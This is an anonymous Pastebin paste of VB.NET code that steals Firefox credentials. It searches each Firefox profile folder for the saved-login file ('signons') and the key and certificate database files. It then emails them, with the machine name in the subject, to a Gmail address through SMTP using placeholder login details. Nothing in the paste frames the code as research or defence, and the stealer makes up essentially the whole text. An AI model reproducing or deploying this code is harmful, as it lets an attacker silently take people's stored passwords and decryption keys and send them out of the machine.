Advertisement
Guest User

Untitled

a guest
Sep 16th, 2015
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1. Dim DefaultPath As String = Environment.GetEnvironmentVariable("APPDATA") & "\Mozilla\Firefox\Profiles"
  2. Dim Dirs() As String = Directory.GetDirectories(DefaultPath)
  3.  
  4. For Each dir As String In Dirs
  5.  
  6. Dim FoundFile As Boolean = False
  7. If (Not FoundFile) Then
  8. Dim Files() As String = Directory.GetFiles(dir)
  9.  
  10. For Each CurrFile As String In Files
  11.  
  12.  
  13. If (Not FoundFile) Then
  14.  
  15.  
  16. If System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons") Then
  17.  
  18. Dim mymailmsg As New MailMessage
  19.  
  20. mymailmsg.From = New MailAddress("email@gmail.com")
  21. mymailmsg.To.Add("email@gmail.com")
  22. mymailmsg.Subject = ("FireFox Users" + Environment.MachineName)
  23. mymailmsg.Body = (" ")
  24. mymailmsg.Attachments.Add(New Attachment(CurrFile))
  25. For Each File As String In Files
  26. If System.Text.RegularExpressions.Regex.IsMatch(File, "key") Then
  27. mymailmsg.Attachments.Add(New Attachment(File))
  28. End If
  29. Next
  30. For Each File As String In Files
  31. If System.Text.RegularExpressions.Regex.IsMatch(File, "cert") Then
  32. mymailmsg.Attachments.Add(New Attachment(File))
  33. End If
  34. Next
  35. Dim smtp As New SmtpClient("smtp.gmail.com")
  36. smtp.Port = 587
  37. smtp.EnableSsl = True
  38. smtp.Credentials = New System.Net.NetworkCredential("email@gmail.com", "pass")
  39. smtp.Send(mymailmsg)
  40. End If
  41. End If
  42. Next
  43. End If
  44. Next
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement